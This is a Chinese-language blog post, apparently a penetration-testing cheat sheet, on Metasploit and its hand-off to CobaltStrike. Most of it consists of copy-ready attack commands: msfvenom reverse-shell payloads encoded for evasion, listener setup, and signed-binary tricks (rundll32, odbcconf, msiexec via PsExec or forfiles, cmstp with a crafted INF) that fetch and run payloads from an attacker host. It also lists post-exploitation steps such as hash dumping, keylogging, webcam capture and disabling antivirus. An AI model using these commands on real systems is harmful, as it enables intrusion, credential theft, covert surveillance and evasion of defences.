MSF 作战手册及联动 CobaltStrike
一直一来由于比较喜欢 CS 的多人协同、插件和图形化界面,MSF 的研究相对较少,而 MSF 的模块以及漏洞利用方面的支持是优于CS 的,某些内网探测模块一直都很好用,而且控制的好,动静也并不会非常大。因此今天来探究下 Metasploit 后渗透框架以及和 CobaltStrike 的联动。
MSF 模块划分
2146 个渗透攻击模块 (Exploits) - 选择并植入载荷获取权限
1142 个辅助模块 (Auxiliary) - 扫描主机系统,寻找可用漏洞
365 个后渗透攻击模块 (Post) - 用于内网渗透的各种操作
592 个攻击载荷 (Payloads) - 渗透攻击成功后植入代码控制目标系统会话连接
45 个编码器模块 (Encoders) - 选择编码技术,确保攻击载荷不会出现 “坏字符”
10 个空指令模块 (Nops) - 在执行 shellcode 前加入一些空指令,避免攻击载荷在执行过程中出现随机地址或返回地址错误
7 个免杀模块 (Evasion) - 对攻击载荷进行 “免杀”
Msfconsole 参数摘要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
reload_all back info check background sessions sessions -l sessions -K sessions -i id sessions -v sessions -u show options auxiliary exploits payloads targets advanced encoders set proxies sock5:127.0.0.1:8000
辅助模块(Auxiliary)
端口扫描
1 2 3 4 5 6
use auxiliary/scanner/portmap/portmap_amp use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/xmas
服务扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
auxiliary/scanner/ssh/ssh_login auxiliary/scanner/vnc/vnc_none_auth auxiliary/scanner/telnet/telnet_login auxiliary/scanner/smb/smb_version auxiliary/scanner/smb/smb_enumusers auxiliary/scanner/smb/smb_login auxiliary/admin/smb/psexec_command auxiliary/scanner/redis/redis_login auxiliary/scanner/mssql/mssql_ping auxiliary/admin/mssql/mssql_enum auxiliary/scanner/mysql/mysql_login auxiliary/admin/mysql/mysql_enum
Msfenvom 生成被控端
使用说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
Options: -p, --payload <payload> 使用指定的payload --payload-options 列出该payload参数 -l, --list [type] 列出所有的payloads -n, --nopsled <length> 为payload指定一个 nopsled 长度 -f, --format <format> 指定payload生成格式 --help-formats 查看所有支持格式 -e, --encoder <encoder> 使用编码器 -a, --arch <arch> 指定payload构架 --platform <platform> 指定payload平台 --help-platforms 显示支持的平台 -s, --space <length> 设定payload攻击荷载的最大长度 --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars <list> 指定bad-chars 如: '\x00\xff' -i, --iterations <count> 指定编码次数 -c, --add-code <path> 指定个win32 shellcode 文件 -x, --template <path> 指定一个 executable 文件作为模板 -k, --keep payload自动分离并注入到新的进程 -o, --out <path> 存放生成的payload -v, --var-name <name> 指定自定义变量 --smallest Generate the smallest possible payload -h, --help 显示帮助文件
生成 shellcode
1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c
生成 可执行文件
1 2
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho
1
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling
设置监听上线
Attacker:192.168.31.39
1 2 3 4 5 6 7 8 9 10 11
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.31.39 lhost => 192.168.31.39 msf6 exploit(multi/handler) > set lport 6666 lport => 6666 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.31.39:6666
上线
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168 .31.39 LPORT=6666 -f exe > l.exe
1 2
meterpreter > getuid Server username: WIN-R67KRMDJ8D3\Pow
Linux
1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f elf > go.elf
基于白名单上线
基于白名单 Rundll32 上线
Rundll32 可以以命令行的方式调用动态链接程序库,执行 DLL 文件中的内部函数
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f dll > go.dll
上传 go.dll 到目标服务器,加载 rundll32.exe 运行
rundll32.exe目录:C:\Windows\SysWOW64\rundll32.exe
1
rundll32 shell32.dll,Control_RunDLL c:\Users\Pow\Desktop\go.dll
开启远程桌面
1
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication " ;eval("w=new ActiveXObject(\" WScript.Shell\");w.run(\" mstsc\");window.close()" );
基于白名单 odbcconf.exe上线
ODBCCONF.exe 是一种命令行工具,可用于配置 ODBC 驱动程序和数据源的名称。
执行命令
1
odbcconf.exe /a {regsvr C:\Users\Pow\Desktop\6666 .dll}
基于 PsExec 上线
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f msi > go.msi
使用 python 服务器模拟远程 VPS
1
PsExec.exe -d -s msiexec.exe /q /i http://192.168 .31.39 :8000 /go.msi
缺点:第一次运行会弹窗
基于白名单 Forfiles 远程加载 Payload 上线
Forfiles 为 Windows 默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。
1
forfiles /p c:\windows\system32 /m cmd.exe /c "msiexec.exe /q /i http://192.168.31.39:8000/go.msi"
缺点:需要让攻击者手动点击安装,还需要过UAC
基于白名单 Pcalua 上线
Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。
基于白名单Cmstp.exe 上线
新建 l.inf 文件 修改 RegisterOCXSection 为 MSF生成的dll路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] RegisterOCXs=RegisterOCXSection [RegisterOCXSection] C:\Users\Pow\Desktop\go.dll [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="saul" ShortSvcName="saul"
把 go.dll 和 l.inf 上传,运行命令加载上线
https://micro8.gitbook.io/micro8/contents-1/71-80
Meterpreter用例
刚获得Meterpreter Shell
时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
1 2 3
getpid ps migrate 476
命令摘要
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
pwd 、ls、cd getuid getsystem hashdump sysinfo idletim route shell background upload ./1.txt c:\\1.txt download c:\1.txt ./ search -f *.txt -d c:// keyscan_start keyscan_stop keyscan_dump screenshot webcam_list webcam_snap webcam_stream sudo rdesktop -f 目标IP route add IP 子网掩码
后渗透模块(Post)
1 2 3 4 5 6 7 8
run post/windows/gather/checkvm run post/linux/gather/checkvm run post/windows/manage/killav run post/windows/manage/enable_rdp run post/windows/gather/enum_logged_on_users run post/windows/gather/enum_applications run post/windows/gather/smart_hashdump run windows/gather/credentials/windows_autologin
派生 Shell 给 CobaltStrike
1 2 3 4 5 6 7 8
background use exploit/windows/local /payload_inject set payload windows/meterpreter/reverse_httpset LHOST xx.x.x.x set LPORT xx set session 1set DISABLEPAYLOADHANDLER true run
CS 派生 MSF
1 2 3 4 5
use exploit/multi/handler set payload windows/meterpreter/reverse_httpset lhost xx.xx.xx.xxset lport xxrun
选择 foreign 类型的监听进行 Spawn,填写MSF 的 IP 和监听端口
FROM : lintstar.top , Author: 离沫凌天๓
评论